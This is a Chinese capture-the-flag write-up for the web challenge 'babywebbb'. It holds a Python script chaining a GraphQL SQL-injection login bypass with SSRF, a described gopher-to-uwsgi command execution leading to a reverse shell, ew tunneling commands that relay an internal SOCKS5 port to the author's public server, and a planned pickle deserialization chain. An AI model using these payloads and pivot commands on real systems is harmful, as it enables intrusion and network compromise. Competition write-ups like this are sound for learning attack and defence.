babywebbb

**一开始这题都摸不着门路,枯了……

然后day2中午的时候,队友告诉我存在证书泄漏

找到

域名绑定到hosts,就可以访问了,后来才知道,本题nginx做代理时,是与域名绑定的。 结合一开始发现的rsync的未授权访问获取的源码 有一个graphQL的API服务存在注入

通过注入获取session后,进一步ssrf

注入+SSRF脚本

login = "https://qqwwwwbbbbb.52dandan.xyz:8088/graphql_test123/login?query=%7B%0A%20%20recv%20(%0A%20%20%20%20data%3A%22%7B%5C%22operate%5C%22%3A%5C%22login%5C%22%2C%5C%22username%5C%22%3A%5C%22%5C%5C%5C%22or%202%3D2%23%5C%22%2C%5C%22password%5C%22%3A%5C%22%5C%22%7D%22%0A%20%20)%0A%7D"
s = requests.Session()
r = s.get(login,verify=False)
ssrf = "https://qqwwwwbbbbb.52dandan.xyz:8088/user/newimg"
data = {
    "newurl":sys.argv[1]
}
r = s.post(ssrf,verify=False,data=data,timeout=5)
print(base64.b64decode(r.content))

可以发现发现

存在uwsgi

用uwsgi的命令执行脚本进行修改,将gopher语句输出后,通过ssrf打127.0.0.1:3031


成功反弹shell

根据提示socks5,通过扫描发现172.16.17.4开发1080端口。在内网机器上使用ew进行代理

./ew_for_linux64 -s lcx_slave -d 0.0.0.0 -e 4000 -f 172.16.17.4 -g 1080

自己的公网服务器执行

./ew_for_linux64 -s lcx_listen -l 1089 -e 4000

通过反代出来的socks5进内网

代码审计给出的代码https://paste.ubuntu.com/p/q4xJBfm3Bb/

回溯func waf

log记录数据

存在任意文件写 回溯saveall

同时session类里有调用了pickle.load,因此存在反序列化

题目又关了

因此可能的执行流程为(讲道理应该可以,测试不了了233333

构造反序列化payload

User 1 -> POST /adduser username=payload&password=
User 1 -> /savelog 修改 User2 session
User 2 -> 登录触发反序列化
User 2 -> getflag**

本文章首发在 网安wangan.com 网站上。

上一篇 下一篇
讨论数量: 0
只看当前版本


暂无话题~